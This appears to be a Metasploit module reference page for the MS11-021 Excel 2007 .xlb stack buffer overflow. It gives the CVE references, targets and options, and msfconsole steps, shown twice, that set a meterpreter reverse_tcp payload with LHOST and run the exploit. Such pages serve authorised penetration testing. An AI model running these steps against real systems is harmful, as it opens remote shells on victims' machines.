MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow
This module exploits a vulnerability found in Excel of Microsoft Office 2007. By supplying a malformed .xlb file, an attacker can control the content (source) of a memcpy routine, and the number of bytes to copy, therefore causing a stack- based buffer overflow. This results aribrary code execution under the context of user the user.
Exploit Rank
- Normal
Exploit Authors
- Aniway < >
- abysssec < >
- sinn3r < sinn3r [at] metasploit.com >
- juan vazquez < >
Vulnerability References
- CVE-2011-0105
- OSVDB-71765
- MSB-MS11-021
- http://www.zerodayinitiative.com/advisories/ZDI-11-121/
- http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overw...
Exploit Targets
- 0 - Microsoft Office Excel 2007 on Windows XP (default)
- 1 - Microsoft Office Excel 2007 SP2 on Windows XP
Exploit Development
Similar Exploit Modules
- exploit/windows/fileformat/a-pdf_wav_to_mp3
- exploit/windows/fileformat/acdsee_fotoslate_string
- exploit/windows/fileformat/acdsee_xpm
- exploit/windows/fileformat/activepdf_webgrabber
- exploit/windows/fileformat/adobe_collectemailinfo
- exploit/windows/fileformat/adobe_cooltype_sing
- exploit/windows/fileformat/adobe_flashplayer_button
- exploit/windows/fileformat/adobe_flashplayer_newfunction
- exploit/windows/fileformat/adobe_flatedecode_predictor02
- exploit/windows/fileformat/adobe_geticon
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/fileformat/ms11_021_xlb_bof
msf exploit(ms11_021_xlb_bof) > show payloads
msf exploit(ms11_021_xlb_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms11_021_xlb_bof) > set LHOST [MY IP ADDRESS]
msf exploit(ms11_021_xlb_bof) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/fileformat/ms11_021_xlb_bof
msf exploit(ms11_021_xlb_bof) > show payloads
msf exploit(ms11_021_xlb_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms11_021_xlb_bof) > set LHOST [MY IP ADDRESS]
msf exploit(ms11_021_xlb_bof) > exploit
Exploit Module Options
| FILENAME | The filename (default: msf.xlb) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
